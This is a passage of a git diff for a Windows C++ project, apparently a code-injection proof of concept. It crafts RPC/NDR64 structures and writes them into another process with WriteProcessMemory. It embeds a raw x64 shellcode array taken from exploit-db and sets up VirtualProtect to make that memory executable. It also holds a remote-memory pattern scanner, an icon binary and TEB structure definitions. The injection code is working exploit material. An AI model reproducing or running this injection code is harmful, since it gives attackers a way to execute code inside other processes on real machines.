(char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 4; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + // https://www.exploit-db.com/shellcodes/49819 + // 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面 + unsigned char payload[] = + "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b" + "\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" + "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08" + "\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" + "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24" + "\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" + "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6" + "\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" + "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96" + "\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" + "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e" + "\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" + "\x48\x83\xec\x20\x41\xff\xd6"; + + PVOID embuf; + SIZE_T numOfWrite; + ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite); + WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8, + &numOfWrite); + WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload, + sizeof(payload), &numOfWrite); + const auto shellcodeAddress = (uint64_t)embuf + 8; + const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload); + const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t); + + auto tempCover = (uint64_t)TheNotepadTagClsAddress; + memcpy(paramsBuffer, &tempCover, 8); + + tempCover = (uint64_t)sizeof(payload); + memcpy(paramsBuffer + 8, &tempCover, 8); + + tempCover = (uint64_t)PAGE_EXECUTE_READWRITE; + memcpy(paramsBuffer + 8 + 8, &tempCover, 8); + + memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8); + calcOffset += sizeof(uint64_t); + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } +} +int main() { wWinMain(0, 0, 0, 0); } diff --git a/small.ico b/small.ico new file mode 100644 index 0000000000000000000000000000000000000000..b3ec03bd617f32e58128fa977fd6ac9605124f4b GIT binary patch literal 46227 zcmeG_3s@7^(i=en%FAlCDneRC>$M_k6<<8GwYF8!R&T*-0nuNr4^Sy8A`n5bmRqT{ zK5o_G(b(u^yZQ8UkW5(>;x9{lDqk(~eD_5>eNlDqb zapUaSv*o2vfswy>543gya=eTKJ}bJsb08RyLkrbzg~EDF)&yx{%~3lMOmjI z2r>fq&!#BLn;*SDdg=``Ge%vn(_ zHtGJ!s?^=xQ)VolXES2J@MURR$8V^WUk}@~H&O9u;)XhDr?A*8NV1jpnGS9@R3zjJlMS^bL*v(^3?X@it_xf^eOAIF1)HHQBqYfeohaonv$Cm)jId+ zOVxIDS1y%GYM&OxMbuR%tEwZv6c&U_detcl+-(L0I+vtX6%TS(6-esN{F)w7bMOD| zOWW0^33nGuWA6=U_k~Z`_8H2%Xi~K^>vZ`oLJj;+dof+Rb*dtUE!B9(#yAE zinCMDvqwpLLl>`DVqzVqn&SNSS4zywZ(O!oQ5+P}ZqDo*iQywp2?H;6m*1FM+v(ik zKuPue2llH<lpzzQC0ZQ&fW!@2| zCA+sBFDXoZ&s`OJt!UeG*-;nSw@IqwS!bgXV{4brPy0l^ru(7V((LEr;MieH9$eol ztF#|gWOnaxM#TNAhX?ycZV#28>t6U2vUhev*6X=!y^Cyctm@*mSw&||2b89k2T12S zs5WPQGwMKAfV2p*(!)o6B2$E!rv#ZHO0PlduB^0pWIyVm*{I^DzUzC8eCW8? z=BFT&pQ;pzy=-=tzc!;ZH7GzD1dQ^-Q+y&NpT{jR`AMZnyl1oX>1)aw`%wjE%C9pb z{^#7`jy{pUx+;`bicdg?AKvS8+Eg+s!X*4ofn?BwTUi5A9Wt#IhcW`Cp;u~zX&I+$ z6~0HjCOi(CTN{<%GdDz;c&lIU&Wcl8MG?v_mEWu%n^Nd_qUfnFly0f|W~(eABVuOa zHt$DAeIrLYsMenG_dlE&X7MD9CeFz(_lc}g7e80TZeW2VbJE?B}+N|#LT|(2( zeRDEXggcomlAM-B22c?h3dcL19#xL@1NIL`g0pN}geW^Eq)M@ob3!R1?5(+j=DA*LC zV3UM`T@niRQ7G6ap=dbWwdHjEVHYQI*zzS;6X*qvTp*H2$8BZXM#u$!2E9%Fh1%6;Y%r%wA8iWl z98b^o;Ggdw>_>fXfwbF2~>0cDCW+zQ((`ySCnlYPFH$mt-V0+ra+gMv`S)y(N zzHo($)~+2>oIqd!0<=ro(PThQOSiSPHaGc$z!WPPc@uMMn%q|1f`-LXNOZ8o+V&d$ zHbOdUt0AU!(s0v=VVEv*Gjf(>GO3|6{Q{Q)GvqyDTfmceS{Wq=e`Gh$eZU|X;za!?7xDpmeE6|Pgz zO(KB$bqcOc$ko6)h3u!3J#_Z|c~w;vk-}r%1H1=XsRz{S6idd1hFIc6slF`L`S$H$ z_Qem5dBRTU+4*M5v$Vv$1lR_!RO^Ee{bum6-?p7PZwYA&3)o0e=P64|GczkIGcz?g zm}G@1OG_)XP72S0O#vA^OFoTl;6%6?2%oWZ{~SOKoe0-?^3!~m`s8OxPXB*&n$|r! zzi?BOFg7FVyr(F+_`6=-k&dIk_p|sgGQA|=!w(|Opl0qnzSh@!9ZyqEy{Yv2tco;$!c%1qB5Tm(zT#t*z(Oo{29hzP~WMW9N6j>acU@%{>PyiVK%J zDchX)@#r((N^0@uwz&3goBq}L@|RNv?D=_=P56?Hecrw4KYY=F^rOd%qNoY}|604$ ze}Q1wo2CUpqsJY2c6ZpK$LU8Zind-HYv;EpX3wHx!Mu)9bu&)b-#Goo@8>^%ZpR_-A8pm9le*fP%dwWrZ#%gZ4hgNPEP0ZX zygWHODX{cO?wRD|B?TXp_YA&WcENAcr1zm*!sT*wSXgN+4}`x4Onbu4m9C6a zDyzzKE^l|)9veNfwvB!H=Ueu>hE~Q`J@CK3rl9l8;eQX$AL67e-=O$nb3yrbm%txm zqqqN!a-0`y@A|0LF6XUF2Y(!J;{4dWim&tj-qp-=psii`?^{xRtLDC)WM1xF(Pdh} zo&nW%Pm{OJ7Y(}+?6yGe^278sU;bRy{@{{)8`rzbhg5njp0L%bE_!K#u_ZcwBlk$-$@-sFG|l`h!> z9(?Vda99`_HgTY$d(`wb0ljO-+CANOJbJb4dX!}MowsHz{C?8ouifJug^@uv*qA)| zn%nN4b%VBaGj|$J^Z1&Dy*5r6?Cmc)u?6HlOfo+czNcs1sY|Z5Gm2$_`_D~ZbHzQi zLqtxYoq0l-+$9=+>Cc4_j1I6{ufgKK5d;F(^ zrbsZ(sxx=S^C}5{PdVE zm-o*6c#W?lJZIJWUXDMG-#PX9w8YRegRkD{@b+^r2vFt8?VAf;&)M81?+ugWvh(%< zCo8AS5e)E6nQ_nkX72KDD}Am8<#qmH=l;{Xer^AKK(w`~Rb6G$Ip1HMsspY>EqmrT z$K?L9U3P&bALm$hHSeYj_F7h(5$iCZtdHP5&%&r&yJO0;C?NH-;Xa$6Un*F7-{)B7 zTTg1rU)$V6a=Lesk8)PLhQxqS#@r7j3u_WR0Zr+Ju!br1- ztp`JH25z67I>IV`(#_SoQuES(IaHi9@zkuEO_9M52id->80ovHW1Z6n$!&-IdMC-W zE?1iF)ctW+<<6fUR~}cMtV@|QeV3<6@#0*MtFqFC)9+Md_jVN=8*UY!7Gg3wN}~F` zEFo`b@t#rn?;eWJQkPUGSC+ZEZSejj+6WKYdb$m>lF4(fJmOSk2 z+y1oAmSMHUzSY6m|3RL91@9hmLOV?T*6uL7G4o(@_;xCOTb6XtFDb=I7SfButuFPO ziR>Q_vzpNFOH6$Osh*24)o!@eKY9k=42-ds=I75WH-8lL)mPU?Jqo-?U8;;|Yj$HC zCE7-LI19vnZKzaJD$;^7?MRvTrfeq|P!SX1D~_nEOA48~&s|l$H{_V*%~Jo|E|how z=E*f&lSVime_UQNdqZq&#Je`3!$*x;Xg@k^!-fq%j;rlqXE)&&&z%O?+)zuMRVlEc zTN_xu-!r1FVqE#Wt_gYRrw34nK5vGT8*0$N{;C&sYja`t1v>`^)ja#kr7Kq48WmY> z*Q3Xf*y@qPhHYE8bA+I|k)dvBVMS?s>LED5*}{N;SddiX9^_pn9DA;hD=wj!N4Pv7 zF9yIL-O(5P(2mOm$Fe*CRDUJlVmG1T?dSXduN3=e3yEzmSXcbRF;7)%0(Sp#v76BF z_P;p(TT|bou6+M%-@i$0bHRN4^YPCfKl;W$9FI^L0{Y~TazkVxE#YHhw*Fk=p3oQ) z|Hjgn=x;1}y!|g{{xep8@%^t}UmDAweEjqA&x`>ww{yY#{Lg*;W32JY&wu>nr2>?Sn4{e1tk-_H_k;%Iys-b(kZe*1uaPmj-E4nh8>Br$FtLpb2Dt{=-%@?fww>gg5(`}HCNzfF z|1$cV*v-aarWl zjMeAxN@Nwh)}dMU6JIqF3up_zfuhk1=vuVTiN5e!i~5*?*G3z~2hE8E^bbIb_c_`R zugg}!Ydq@h$29SaF|eVr&`_U49jzz4##?2qe$u6%vBnhYh`JKJ^X30dIm@%cR4NV!^h_-sLCj%(MG2jOv0nn)@vmECyc-1={ z&s^gcd6+VoX+!2h97EW4L-LriA&oYnZCvL;5zvYO@&NSejCI&|T*e1;&eJEeu`x#C z8{5<;gHevUqYWZ@%bcbT(*wux*4qys$-mVVYTwvHddRo9NM047zh39~wJx z9M#W5mix!+@has( zPZ59^AP<0PmqeeQK!-LmX^|IYi1hI^w_Nk*EABj|J^82mp-$bQ5t{yRkgM}HQZ>fc z3*sdZ(};f6Af|-$E0f`+$@t1-s8*?Dh=nSZ5^3Gx?P6kq7>c37L<+@FA(XkR=vNau z1En7Tc~6Ac5i%SuR;)7P_Rmgxa8RG(_1BtfjM--f`=9IcLrc-IVu9EHCBN^1_rLc0 zHMpJwVULHV@)_IzP1U2Re7ydA{NPyNnvh=mXDmQrl zgvC#v#cJ#<57EsKj50Z#^J8#ivG&ywlWS6_Jpec?yx zxj<(;>ygOTy{SG&Uy}1OnAWGOzVZh80(I0nYXN!m`3vV%3^}*Q)`NLg6Mew0=bA?y z*gnBizg*Y9cYJY_@nqfC^oix4Qmc+gMvaf#%Wl+G8F*R8j$Df>NMHP`dl6Do;zmXf zBMwMBvTwC zx39j>7!rS6{Q6h+KReEwlW$7=HK#o`Z)qBF5hqHnq=@mnn;+b+r$5xQ~!YXt>yn zzw>PDchx$4fo*6#2|*s8mGem3Ty4g^FRpu;EMH(-9_R;6+stQlgMS;`*!Kpwm&M#S z)!2z`5*>8z;ozPO>dp2s?lm#@YcS1@5#+)BD<++$T?t@60IfbiU*HAhA^jo~Ren=!kukg)&8SBOE_~-UA>GK&yWsuhIb4Bal23BMSwUQPd=3>6gt zkl&Mem_kO+1$GfTIbpUK +#include +#include +#define INRANGE(x,a,b) (x >= a && x <= b) +#define getBits( x ) (INRANGE((x&(~0x20)),'A','F') ? ((x&(~0x20)) - 'A' + 0xa) : (INRANGE(x,'0','9') ? x - '0' : 0)) +#define getByte( x ) (getBits(x[0]) << 4 | getBits(x[1])) + +PVOID +SundaySearch_ByProcess( + HANDLE ProcesHandle, + char* pattern, + PVOID address, + SIZE_T readSize +) { + size_t patLen = strlen(pattern); + + patLen = (patLen + 1) / 3; + if (readSize < patLen) + return NULL; + + auto dataVec = std::vector(); + dataVec.resize(readSize); + SIZE_T bytesRead; + SIZE_T TotalSize = readSize; + SIZE_T CurOffset = 0; + while (TotalSize) + { + ULONG64 ReadSize = min(0x1000, TotalSize); + bytesRead = 0; + auto ret = ReadProcessMemory(ProcesHandle, + (void*)((uint64_t)address + CurOffset), + (PVOID)((uint64_t)dataVec.data() + CurOffset), ReadSize, &bytesRead); + TotalSize -= bytesRead; + CurOffset += bytesRead; + if (ret != true) break; + if (bytesRead == 0) break; + } + + size_t i = 0; + while (i < readSize) + { + size_t j = 0; + + UCHAR c1 = 0; + UCHAR c2 = 0; + + while (j < patLen && + i + j < readSize && + (*(pattern + j * 3) == '\?' || + (c1 = dataVec[i + j]) == (c2 = getByte((pattern + j * 3))))) + { + j++; + } + + if (j == patLen) + { + return (PVOID)((DWORD_PTR)address + i); + } + else + { + LONGLONG k = (LONGLONG)j; + if (i + patLen < readSize) + { + for (k = (LONGLONG)(patLen - 1); k >= 0; k--) + { + c1 = getByte((pattern + k * 3)); + c2 = dataVec[i + patLen]; + + if (*(pattern + k * 3) == '\?' || c1 == c2) + break; + } + } + i += (size_t)(patLen - k); + } + } + + return NULL; +} \ No newline at end of file diff --git a/targetver.h b/targetver.h new file mode 100644 index 0000000..a186354 --- /dev/null +++ b/targetver.h @@ -0,0 +1,6 @@ +#pragma once + +// // 包含 SDKDDKVer.h 可定义可用的最高版本的 Windows 平台。 +// 如果希望为之前的 Windows 平台构建应用程序,在包含 SDKDDKVer.h 之前请先包含 WinSDKVer.h 并 +// 将 _WIN32_WINNT 宏设置为想要支持的平台。 +#include diff --git a/teb_def.h b/teb_def.h new file mode 100644 index 0000000..5fc38be --- /dev/null +++ b/teb_def.h @@ -0,0 +1,261 @@ +#pragma once +#include +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef struct _STRING64 { + USHORT Length; + USHORT MaximumLength; + ULONGLONG Buffer; +} STRING64; +// 0x8 bytes (sizeof) +struct _CLIENT_ID32 { + ULONG UniqueProcess; // 0x0 + ULONG UniqueThread; // 0x4 +}; +// 0x10 bytes (sizeof) +struct _CLIENT_ID64 { + ULONGLONG UniqueProcess; // 0x0 + ULONGLONG UniqueThread; // 0x8 +}; +// 0x4e0 bytes (sizeof) +struct _GDI_TEB_BATCH32 { + ULONG Offset; // 0x0 + ULONG HDC; // 0x4 + ULONG Buffer[310]; // 0x8 +}; +// 0x4e8 bytes (sizeof) +struct _GDI_TEB_BATCH64 { + ULONG Offset; // 0x0 + ULONGLONG HDC; // 0x8 + ULONG Buffer[310]; // 0x10 +}; +// 0xfe4 bytes (sizeof) +typedef struct _TEB32 { + struct _NT_TIB32 NtTib; // 0x0 + ULONG EnvironmentPointer; // 0x1c + struct _CLIENT_ID32 ClientId; // 0x20 + ULONG ActiveRpcHandle; // 0x28 + ULONG ThreadLocalStoragePointer; // 0x2c + ULONG ProcessEnvironmentBlock; // 0x30 + ULONG LastErrorValue; // 0x34 + ULONG CountOfOwnedCriticalSections; // 0x38 + ULONG CsrClientThread; // 0x3c + ULONG Win32ThreadInfo; // 0x40 + ULONG User32Reserved[26]; // 0x44 + ULONG UserReserved[5]; // 0xac + ULONG WOW32Reserved; // 0xc0 + ULONG CurrentLocale; // 0xc4 + ULONG FpSoftwareStatusRegister; // 0xc8 + ULONG SystemReserved1[54]; // 0xcc + LONG ExceptionCode; // 0x1a4 + ULONG ActivationContextStackPointer; // 0x1a8 + UCHAR SpareBytes[36]; // 0x1ac + ULONG TxFsContext; // 0x1d0 + struct _GDI_TEB_BATCH32 GdiTebBatch; // 0x1d4 + struct _CLIENT_ID32 RealClientId; // 0x6b4 + ULONG GdiCachedProcessHandle; // 0x6bc + ULONG GdiClientPID; // 0x6c0 + ULONG GdiClientTID; // 0x6c4 + ULONG GdiThreadLocalInfo; // 0x6c8 + ULONG Win32ClientInfo[62]; // 0x6cc + ULONG glDispatchTable[233]; // 0x7c4 + ULONG glReserved1[29]; // 0xb68 + ULONG glReserved2; // 0xbdc + ULONG glSectionInfo; // 0xbe0 + ULONG glSection; // 0xbe4 + ULONG glTable; // 0xbe8 + ULONG glCurrentRC; // 0xbec + ULONG glContext; // 0xbf0 + ULONG LastStatusValue; // 0xbf4 + struct _STRING32 StaticUnicodeString; // 0xbf8 + WCHAR StaticUnicodeBuffer[261]; // 0xc00 + ULONG DeallocationStack; // 0xe0c + ULONG TlsSlots[64]; // 0xe10 + struct LIST_ENTRY32 TlsLinks; // 0xf10 + ULONG Vdm; // 0xf18 + ULONG ReservedForNtRpc; // 0xf1c + ULONG DbgSsReserved[2]; // 0xf20 + ULONG HardErrorMode; // 0xf28 + ULONG Instrumentation[9]; // 0xf2c + struct _GUID ActivityId; // 0xf50 + ULONG SubProcessTag; // 0xf60 + ULONG EtwLocalData; // 0xf64 + ULONG EtwTraceData; // 0xf68 + ULONG WinSockData; // 0xf6c + ULONG GdiBatchCount; // 0xf70 + union { + struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0xf74 + ULONG IdealProcessorValue; // 0xf74 + struct { + UCHAR ReservedPad0; // 0xf74 + UCHAR ReservedPad1; // 0xf75 + UCHAR ReservedPad2; // 0xf76 + UCHAR IdealProcessor; // 0xf77 + }; + }; + ULONG GuaranteedStackBytes; // 0xf78 + ULONG ReservedForPerf; // 0xf7c + ULONG ReservedForOle; // 0xf80 + ULONG WaitingOnLoaderLock; // 0xf84 + ULONG SavedPriorityState; // 0xf88 + ULONG SoftPatchPtr1; // 0xf8c + ULONG ThreadPoolData; // 0xf90 + ULONG TlsExpansionSlots; // 0xf94 + ULONG MuiGeneration; // 0xf98 + ULONG IsImpersonating; // 0xf9c + ULONG NlsCache; // 0xfa0 + ULONG pShimData; // 0xfa4 + ULONG HeapVirtualAffinity; // 0xfa8 + ULONG CurrentTransactionHandle; // 0xfac + ULONG ActiveFrame; // 0xfb0 + ULONG FlsData; // 0xfb4 + ULONG PreferredLanguages; // 0xfb8 + ULONG UserPrefLanguages; // 0xfbc + ULONG MergedPrefLanguages; // 0xfc0 + ULONG MuiImpersonation; // 0xfc4 + union { + volatile USHORT CrossTebFlags; // 0xfc8 + USHORT SpareCrossTebBits : 16; // 0xfc8 + }; + union { + USHORT SameTebFlags; // 0xfca + struct { + USHORT SafeThunkCall : 1; // 0xfca + USHORT InDebugPrint : 1; // 0xfca + USHORT HasFiberData : 1; // 0xfca + USHORT SkipThreadAttach : 1; // 0xfca + USHORT WerInShipAssertCode : 1; // 0xfca + USHORT RanProcessInit : 1; // 0xfca + USHORT ClonedThread : 1; // 0xfca + USHORT SuppressDebugMsg : 1; // 0xfca + USHORT DisableUserStackWalk : 1; // 0xfca + USHORT RtlExceptionAttached : 1; // 0xfca + USHORT InitialThread : 1; // 0xfca + USHORT SpareSameTebBits : 5; // 0xfca + }SameTebFlagStruct; + }; + ULONG TxnScopeEnterCallback; // 0xfcc + ULONG TxnScopeExitCallback; // 0xfd0 + ULONG TxnScopeContext; // 0xfd4 + ULONG LockCount; // 0xfd8 + ULONG SpareUlong0; // 0xfdc + ULONG ResourceRetValue; // 0xfe0 +}TEB32; + +// 0x1818 bytes (sizeof) +typedef struct _TEB64 { + struct _NT_TIB64 NtTib; // 0x0 + ULONGLONG EnvironmentPointer; // 0x38 + struct _CLIENT_ID64 ClientId; // 0x40 + ULONGLONG ActiveRpcHandle; // 0x50 + ULONGLONG ThreadLocalStoragePointer; // 0x58 + ULONGLONG ProcessEnvironmentBlock; // 0x60 + ULONG LastErrorValue; // 0x68 + ULONG CountOfOwnedCriticalSections; // 0x6c + ULONGLONG CsrClientThread; // 0x70 + ULONGLONG Win32ThreadInfo; // 0x78 + ULONG User32Reserved[26]; // 0x80 + ULONG UserReserved[5]; // 0xe8 + ULONGLONG WOW32Reserved; // 0x100 + ULONG CurrentLocale; // 0x108 + ULONG FpSoftwareStatusRegister; // 0x10c + ULONGLONG SystemReserved1[54]; // 0x110 + LONG ExceptionCode; // 0x2c0 + ULONGLONG ActivationContextStackPointer; // 0x2c8 + UCHAR SpareBytes[24]; // 0x2d0 + ULONG TxFsContext; // 0x2e8 + struct _GDI_TEB_BATCH64 GdiTebBatch; // 0x2f0 + struct _CLIENT_ID64 RealClientId; // 0x7d8 + ULONGLONG GdiCachedProcessHandle; // 0x7e8 + ULONG GdiClientPID; // 0x7f0 + ULONG GdiClientTID; // 0x7f4 + ULONGLONG GdiThreadLocalInfo; // 0x7f8 + ULONGLONG Win32ClientInfo[62]; // 0x800 + ULONGLONG glDispatchTable[233]; // 0x9f0 + ULONGLONG glReserved1[29]; // 0x1138 + ULONGLONG glReserved2; // 0x1220 + ULONGLONG glSectionInfo; // 0x1228 + ULONGLONG glSection; // 0x1230 + ULONGLONG glTable; // 0x1238 + ULONGLONG glCurrentRC; // 0x1240 + ULONGLONG glContext; // 0x1248 + ULONG LastStatusValue; // 0x1250 + struct _STRING64 StaticUnicodeString; // 0x1258 + WCHAR StaticUnicodeBuffer[261]; // 0x1268 + ULONGLONG DeallocationStack; // 0x1478 + ULONGLONG TlsSlots[64]; // 0x1480 + struct LIST_ENTRY64 TlsLinks; // 0x1680 + ULONGLONG Vdm; // 0x1690 + ULONGLONG ReservedForNtRpc; // 0x1698 + ULONGLONG DbgSsReserved[2]; // 0x16a0 + ULONG HardErrorMode; // 0x16b0 + ULONGLONG Instrumentation[11]; // 0x16b8 + struct _GUID ActivityId; // 0x1710 + ULONGLONG SubProcessTag; // 0x1720 + ULONGLONG EtwLocalData; // 0x1728 + ULONGLONG EtwTraceData; // 0x1730 + ULONGLONG WinSockData; // 0x1738 + ULONG GdiBatchCount; // 0x1740 + union { + struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0x1744 + ULONG IdealProcessorValue; // 0x1744 + struct { + UCHAR ReservedPad0; // 0x1744 + UCHAR ReservedPad1; // 0x1745 + UCHAR ReservedPad2; // 0x1746 + UCHAR IdealProcessor; // 0x1747 + }; + }; + ULONG GuaranteedStackBytes; // 0x1748 + ULONGLONG ReservedForPerf; // 0x1750 + ULONGLONG ReservedForOle; // 0x1758 + ULONG WaitingOnLoaderLock; // 0x1760 + ULONGLONG SavedPriorityState; // 0x1768 + ULONGLONG SoftPatchPtr1; // 0x1770 + ULONGLONG ThreadPoolData; // 0x1778 + ULONGLONG TlsExpansionSlots; // 0x1780 + ULONGLONG DeallocationBStore; // 0x1788 + ULONGLONG BStoreLimit; // 0x1790 + ULONG MuiGeneration; // 0x1798 + ULONG IsImpersonating; // 0x179c + ULONGLONG NlsCache; // 0x17a0 + ULONGLONG pShimData; // 0x17a8 + ULONG HeapVirtualAffinity; // 0x17b0 + ULONGLONG CurrentTransactionHandle; // 0x17b8 + ULONGLONG ActiveFrame; // 0x17c0 + ULONGLONG FlsData; // 0x17c8 + ULONGLONG PreferredLanguages; // 0x17d0 + ULONGLONG UserPrefLanguages; // 0x17d8 + ULONGLONG MergedPrefLanguages; // 0x17e0 + ULONG MuiImpersonation; // 0x17e8 + union { + volatile USHORT CrossTebFlags; // 0x17ec + USHORT SpareCrossTebBits : 16; // 0x17ec + }; + union { + USHORT SameTebFlags; // 0x17ee + struct { + USHORT SafeThunkCall : 1; // 0x17ee + USHORT InDebugPrint : 1; // 0x17ee + USHORT HasFiberData : 1; // 0x17ee + USHORT SkipThreadAttach : 1; // 0x17ee + USHORT WerInShipAssertCode : 1; // 0x17ee + USHORT RanProcessInit : 1; // 0x17ee + USHORT ClonedThread : 1; // 0x17ee + USHORT SuppressDebugMsg : 1; // 0x17ee + USHORT DisableUserStackWalk : 1; // 0x17ee + USHORT RtlExceptionAttached : 1; // 0x17ee + USHORT InitialThread : 1; // 0x17ee + USHORT SpareSameTebBits : 5; // 0x17ee + }SameTebFlagStruct; + }; + ULONGLONG TxnScopeEnterCallback; // 0x17f0 + ULONGLONG TxnScopeExitCallback; // 0x17f8 + ULONGLONG TxnScopeContext; // 0x1800 + ULONG LockCount; // 0x1808 + ULONG SpareUlong0; // 0x180c + ULONGLONG ResourceRetValue; // 0x1810 +}TEB64;